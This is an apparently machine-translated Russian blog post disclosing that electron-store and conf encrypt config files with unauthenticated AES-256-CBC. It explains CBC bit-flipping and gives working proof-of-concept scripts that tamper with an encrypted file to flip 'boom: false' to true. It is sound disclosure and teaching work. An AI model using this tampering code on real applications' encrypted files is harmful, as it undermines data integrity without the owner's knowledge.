Отказ от ответственности: я не криптограф и определенно не авторитет в этом вопросе. По состоянию на 15 августа документы для electronic-store и conf были обновлены более тщательными заявлениями о предполагаемом использовании и безопасности их механизма шифрования.
## Фон
electronic-store — популярная библиотека, используемая для сохранения конфигурации приложения Electron и других данных. Это тонкая обертка над conf, написанная тем же автором. Согласно статистике GitHub, 11,3 тыс. общедоступных репозиториев используют электронный магазин, а 48,1 тыс. общедоступных репозиториев используют conf — хотя я уверен, что лишь небольшая часть из них использует параметры шифрования библиотеки в целях безопасности.
Следует отметить encryptionKey
параметр, который принимают две библиотеки:
ключ шифрования
Тип:
string | Buffer | TypedArray | DataView
По умолчанию:undefined
Это можно использовать для защиты конфиденциальных данных, если ключ шифрования хранится безопасным образом (не в виде обычного текста) в приложении Node.js. Например, используя
node-keytar
для безопасного хранения ключа шифрования или запрашивая ключ шифрования у пользователя (пароль), а затем сохраняя его в переменной.Помимо безопасности, это можно было использовать для скрытности. Если пользователь просматривает каталог конфигурации и находит файл конфигурации, поскольку это всего лишь файл JSON, у него может возникнуть соблазн изменить его. Предоставив ключ шифрования, файл будет запутан, что, как мы надеемся, должно удержать пользователей от этого.
Он также имеет дополнительный бонус в виде обеспечения целостности конфигурационного файла. Если файл каким-либо образом изменен, расшифровка не сработает, и в этом случае хранилище просто вернется к состоянию по умолчанию.
Если указано, хранилище будет зашифровано с использованием
aes-256-cbc
алгоритма шифрования.
Из-за недостатков в выборе алгоритма aes-256-cbc
шифрование в электронном магазине не обеспечивает целостность конфигурационного файла. Это позволяет злоумышленнику вмешиваться в его содержимое, что делает его небезопасным для защиты конфиденциальных данных. Таким образом, выполняется только второе требование безопасности, заключающееся в обеспечении неясности.
## Предположения безопасности
Представьте, что вы пользователь электронного магазина и отдаете мне (облачному провайдеру, пограничному агенту или тому, кто перехватывает ваш трафик) свой зашифрованный файл конфигурации без ключа, который вы надежно храните. Мне будет трудно расшифровать его содержимое, если нет другой информации. Но это довольно слабое определение безопасности.
Допустим, у меня также есть возможность изменить ваш зашифрованный файл так, как я считаю нужным. И давайте также скажем, что у меня есть довольно хорошее представление о некотором содержании — но, возможно, не обо всем содержании — потому что файлы конфигурации, как правило, довольно статичны и имеют схожую структуру. Если я верну тебе твой файл, ты ему по-прежнему будешь доверять? Как вы можете сказать?
Примечание. На практике большинство приложений, использующих electronic-store и conf, используют его шифрование исключительно для сокрытия информации, а не для обеспечения настоящей конфиденциальности или целостности. Часто ключ жестко запрограммирован в приложении или хранится в открытом виде где-то еще, поскольку безопасность не имеет значения. В таких случаях это более сильное определение безопасности является спорным, и подойдет любой метод шифрования или запутывания.
## Механизм шифрования
Это соответствующий код из conf:
const encryptionAlgorithm = 'aes-256-cbc';
// ...
if (this.#encryptionKey) {
const initializationVector = crypto.randomBytes(16);
const password = crypto.pbkdf2Sync(this.#encryptionKey, initializationVector.toString(), 10000, 32, 'sha512');
const cipher = crypto.createCipheriv(encryptionAlgorithm, password, initializationVector);
data = Buffer.concat([initializationVector, Buffer.from(':'), cipher.update(Buffer.from(data)), cipher.final()]);
}
Он безопасно генерирует случайный IV каждый раз, когда файл сохраняется, и передает предоставленный encryptionKey
через PBKDF2 с 10 000 раундов SHA-512 для получения ключа. Он повторно использует внутривенную капельницу в качестве соли (это покалывает мои паучьи чувства, но, может быть, это нормально?). * Затем он шифрует данные с помощью AES-256-CBC с IV и производным ключом и записывает IV и зашифрованный текст в файл.
Если вы знакомы с ограничениями использования режима CBC без аутентификации, то вы знаете, к чему все идет. Вы можете сразу перейти к доказательству концепции, так как в следующих двух разделах просто рассказывается, как работают CBC-атаки и атаки с переворачиванием битов.
## Ускоренный курс по AES-256-CBC
Для непосвященных AES-256-CBC относится к комбинации блочного шифра AES-256 и режима блочного шифра CBC. Блочный шифр — это алгоритм, который берет ключ и некоторый фиксированный объем данных (называемый блоком) и шифрует блок таким образом, что его нельзя будет снова расшифровать без ключа. AES работает со 128-битными блоками, а число 256 указывает на размер ключа, который составляет 256 бит. Обратите внимание, что если вы используете неправильный ключ или используете ключ, чтобы попытаться расшифровать блок, который не был зашифрован с помощью этого ключа, то AES не будет жаловаться. Он просто вернет мусор.
Но что более важно, что, если вы хотите зашифровать более 128 бит данных? Вот где вступает в действие режим блочного шифра. Вы хотите каким-то образом разделить данные на блоки, а затем каким-то образом передать эти блоки блочному шифру. Я намеренно расплывчат здесь, потому что существует множество разных режимов, которые выполняют эти шаги по-разному, каждый с разными компромиссами. Тот, который использует электронный магазин, называется CBC (цепочка блоков шифрования), и вот как это работает. Изображение предоставлено Википедией:
В режиме CBC блоки «связываются» путем вычисления XOR ( исключающее ИЛИ , обозначенное на диаграмме ⊕) блоков один за другим. Чтобы расшифровать сообщение в режиме CBC, мы разбиваем зашифрованный текст на блоки. Затем для каждого блока мы расшифровываем его, используя наш блочный шифр (AES-256), и XOR этого расшифрованного блока с предыдущим блоком зашифрованного текста, чтобы получить наш окончательный блок открытого текста. Мы делаем это для каждого блока в цепочке и объединяем их, чтобы получить окончательное расшифрованное сообщение.
Есть одно исключение, и это первый блок. Для первого блока нет предыдущего блока зашифрованного текста для XOR. Таким образом, мы можем использовать «фальшивый» блок, называемый IV (вектор инициализации), чтобы запустить цепочку.
Пожалуйста, найдите минутку, чтобы еще раз взглянуть на схему.
## Что не так с режимом CBC?
Есть тонкая проблема с CBC. Если мы немного перевернем бит в зашифрованном тексте, то блок, в котором он находится, будет расшифрован до псевдослучайного мусора. Это не так полезно для нас, как для злоумышленников, но помните: блок после нашего измененного блока будет расшифрован путем его сначала расшифровки с помощью блочного шифра, а затем XOR с нашим измененным блоком зашифрованного текста.
Таким образом, наша модификация смешивается с окончательным расшифрованным выводом предсказуемым образом. В частности, наше изменение бита в зашифрованном тексте вызовет идентичное изменение бита в том же месте открытого текста следующего блока. Это позволяет нам надежно переворачивать биты в открытом тексте, переворачивая соответствующие биты в блоке зашифрованного текста перед ним, не зная ключа, за счет превращения предыдущего блока в мусор. Это чрезвычайно мощно, потому что, если мы знаем некоторые биты открытого текста, мы можем стратегически перевернуть их, чтобы сказать все, что захотим.
Если вы можете сделать это с криптографическим алгоритмом, то говорят, что он податлив. Как правило, вам не нужна гибкость алгоритма шифрования файлов по той же причине, что и электронный магазин цитирует, но не совсем соответствует:
Он также имеет дополнительный бонус в виде обеспечения целостности конфигурационного файла. Если файл каким-либо образом изменен, расшифровка не сработает, и в этом случае хранилище просто вернется к состоянию по умолчанию.
## Доказательство концепции
Код: https://github.com/veggiedefender/electron-store-encryption/
В репозитории есть три скрипта: write_config.js
, read_config.js
, и tamper_config.js
. Первые два имитируют пользователя электронного магазина, который записывает свою зашифрованную конфигурацию, а затем считывает ее позже. Третий сценарий имитирует взлом злоумышленника.
write_config.js
записывает зашифрованный файл конфигурации в текущий каталог. Это очень просто:
const Conf = require('conf')
const config = new Conf({
cwd: '.',
encryptionKey: 'super secret key'
})
config.set('message', 'a few words might get scrambled..')
config.set('boom', false)
read_config.js
читает и расшифровывает этот файл конфигурации, распечатывает его содержимое и принимает решение на основе конфигурации:
const Conf = require('conf')
const config = new Conf({
cwd: '.',
encryptionKey: 'super secret key'
})
console.log(config.store)
const boom = config.get('boom')
if (boom) {
console.log('LAUNCHING THE NUCLEAR WEAPONS, WATCH OUT!!')
process.exit(0)
} else {
console.log('Aborting nuclear weapon launch...')
process.exit(1)
}
Если вы запустите их один за другим, они сделают то, что вы ожидаете.
$ npm install
$ node write_config.js
$ node read_config.js
[Object: null prototype] {
message: 'a few words might get scrambled..',
boom: false
}
Aborting nuclear weapon launch...
$ hexdump -C config.json
00000000 b5 d4 28 f3 3e 7b 3f 90 7e 78 e6 52 27 50 fd e3 |..(.>{?.~x.R'P..|
00000010 3a 87 e7 50 a5 df 5f e5 64 3e 55 be 0c 0a 08 22 |:..P.._.d>U...."|
00000020 66 13 00 e8 25 22 3e a9 6f b4 eb 34 87 91 a1 18 |f...%">.o..4....|
00000030 08 b3 60 2d 38 30 a2 fc ce a7 94 05 6f 62 ec 8b |..`-80......ob..|
00000040 7d 16 51 8f ac f9 60 30 68 78 a5 2f 9d b9 46 25 |}.Q...`0hx./..F%|
00000050 9a 96 1a bf b7 d7 ee 6a d6 06 20 ab ec 7e b0 0b |.......j.. ..~..|
00000060 5f |_|
00000061
Наша цель как атакующего состоит в том, чтобы установить boom
и true
запустить ядерное оружие, не зная ключа. Теперь запустите tamper_config.js
, который просто перевернет несколько битов зашифрованного файла так, чтобы он расшифровывался в boom: true
.
const fs = require('fs')
const { Buffer } = require('buffer')
const PATH = 'config.json'
function xor_buffers(a, b) {
const result = Buffer.alloc(a.length)
for (let i = 0; i < a.length; i++) {
result[i] = a[i] ^ b[i]
}
return result
}
const encryptedConfig = fs.readFileSync(PATH)
const iv = encryptedConfig.slice(0, 16)
const ciphertext = encryptedConfig.slice(17)
// Compute the bit flips required to go from "fals" to " tru"
const flips = xor_buffers(Buffer.from('fals'), Buffer.from(' tru'))
// Apply those bit flips to the block _before_ the block we want to modify
const flippedBytes = xor_buffers(flips, ciphertext.slice(44, 48))
flippedBytes.copy(ciphertext, 44)
// Write back the tampered config
const data = Buffer.concat([iv, Buffer.from(':'), ciphertext])
fs.writeFileSync(PATH, data)
Если мы попробуем бежать read_config.js
снова, мы увидим…
$ node tamper_config.js
$ node read_config.js
/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:289
throw error;
^
SyntaxError: Unexpected token in JSON at position 32
at JSON.parse ()
at Conf._deserialize (/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:67:43)
at Conf.get store [as store] (/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:277:43)
at new Conf (/home/jesse/Projects/electron-store-encryption/node_modules/conf/dist/source/index.js:130:32)
at Object. (/home/jesse/Projects/electron-store-encryption/read_config.js:3:16)
Подождите, разве это не должно было сработать? Почему он не анализирует правильно?
Вспомним, что если мы перевернем биты в блоке зашифрованного текста, то они перевернут соответствующие биты в следующем блоке открытого текста, но они также превратят блок, к которому мы прикоснулись, в мусор. Как оказалось, большинство случайного мусора не является допустимым JSON.
Таким образом, на самом деле , electronic-store обеспечивает некоторую форму целостности, называемую JSON.parse()
, и любое вмешательство, которое приводит к плохому синтаксическому анализу, приведет к сбою, как мы видели выше. Но JSON.parse()
никогда не предназначался для обеспечения криптографической целостности, и немного мусора в порядке!
Попробуйте повторить весь процесс еще несколько раз. Чтобы сделать это менее утомительным, я предоставил сценарий, attempt_tampering.sh
который представляет собой просто цикл для автоматизации запуска трех файлов javascript. После нескольких попыток это удастся:
$ ./attempt_tampering.sh
[Object: null prototype] {
message: 'a few words might�tG��3��ܲ4Y^�4�',
boom: true
}
LAUNCHING THE NUCLEAR WEAPONS, WATCH OUT!!
Пока наш зашифрованный блок содержится внутри строки (для чего я разработал код проверки концепции), у нас гораздо больше места для маневра — нужно, чтобы случайный мусор не содержал ни одного из 32 управляющих кодов ASCII. чтобы это была допустимая строка JSON. Вероятность того, что это произойдет, составляет около (1 - 32/256)^16 ≈ 11.8%
. Или немногим более одной из девяти попыток увенчаются успехом, что немаловажно, особенно для криптоатаки.
## Другие атаки
Режим CBC также уязвим для атак оракула заполнения, которые в некоторых сценариях могут привести к утечке всего открытого текста зашифрованного файла. Однако трудно представить, как можно было бы провести атаку оракула заполнения на файл конфигурации электронного приложения.
## Выводы
И атака с переворачиванием битов, и атака оракула заполнения являются следствием гибкости AES-256-CBC, что означает, что злоумышленник может изменить зашифрованные данные без ведома жертвы. Само по себе шифрование не обеспечивает целостности. Обычно это решается с помощью аутентифицированных алгоритмов шифрования, называемых AEAD, которые действительно обеспечивают целостность, обычно путем включения некоторого типа MAC (кода аутентификации сообщения) для обнаружения изменений в зашифрованном тексте.
Но в целом обычные разработчики приложений, такие как мы, не должны сами выбирать алгоритмы шифрования или вызывать низкоуровневые криптографические API. Вместо этого общий совет — использовать такие библиотеки, как libsodium, авторы которых тратят много времени на изучение этого материала, и упаковывать безопасные реализации правильных алгоритмов для API, которые трудно использовать не по назначению.
В качестве последнего примечания я хочу повторить, что для большинства реальных применений electronic-store и conf эта уязвимость совершенно не проблема, потому что они используют шифрование только для обеспечения уровня неясности. Я здесь не для того, чтобы болтать об этих чрезвычайно удобных библиотеках или говорить вам не использовать их. Я говорю вам следить за их обновленными документами и не использовать их в целях безопасности.
Тем не менее, это все еще серьезное оружие ( частично смягченное документацией), потому что оно может дать пользователям и разработчикам ложное чувство безопасности. Зашифрованные данные выглядят зашифрованными , независимо от того, насколько нарушен алгоритм — «проблема с плохой безопасностью заключается в том, что она выглядит так же, как и с хорошей безопасностью» , — и ошибки часто столь же незаметны, сколь и разрушительны.
Берегите себя там ????